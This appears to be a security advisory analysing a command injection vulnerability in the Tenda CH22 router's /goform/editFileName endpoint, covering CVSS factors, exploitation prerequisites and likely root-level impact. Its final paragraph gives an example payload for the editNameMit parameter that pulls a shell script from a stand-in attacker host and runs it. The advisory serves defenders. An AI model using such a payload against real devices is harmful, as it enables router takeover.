Tenda CH22 CVE-2026-78063

Requires low-privilege authenticated access to the Tenda CH22 web management interface, as indicated by PR:L in the CVSS 4.0 vector. The attacker must be able to reach the /goform/editFileName endpoint over the network (AV:N). If the device's management interface is accessible from the WAN - either by default or through misconfiguration - remote exploitation from the internet is feasible. No special attack requirements (AT:N) and low complexity (AC:L) mean no unusual configuration or race condition is needed beyond having valid credentials. Exploitation is bounded by: the authentication prerequisite (PR:L) requiring valid credentials; and typical SOHO router defaults where the management interface is LAN-bound, limiting exposure to network-adjacent attackers unless WAN management is explicitly enabled.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N) indicates low exploitation complexity, no special attack requirements, and network reachability - all factors that lower the barrier to exploitation. The E:P (Proof-of-Concept) modifier confirms public exploit code exists. The impact metrics in the provided CVSS 4.0 score (VC:L/VI:L/VA:L) appear conservative for a command injection flaw, which in practice typically grants arbitrary OS-level command execution on the device - likely yielding full control of the router. This discrepancy warrants independent assessment: real-world impact is likely higher than the vendor-assigned score reflects. No CISA KEV listing at time of analysis, meaning active exploitation has not been officially confirmed, but the public PoC makes opportunistic targeting feasible. The primary limiting factor is the PR:L requirement, meaning an attacker must first obtain credentials to the web management interface.

An attacker who has obtained low-privilege credentials to the Tenda CH22 web management interface - via default credentials, credential stuffing, or prior phishing - sends a crafted HTTP request to /goform/editFileName with the editNameMit parameter containing shell metacharacters (e.g., ; id ; curl attacker.com/shell.sh | sh). The firmware passes this unsanitized value directly into a system command, executing the injected payload as the process's runtime user - likely root on embedded Linux-based router firmware. A public proof-of-concept documenting this technique is available at the Notion link referenced in the advisory.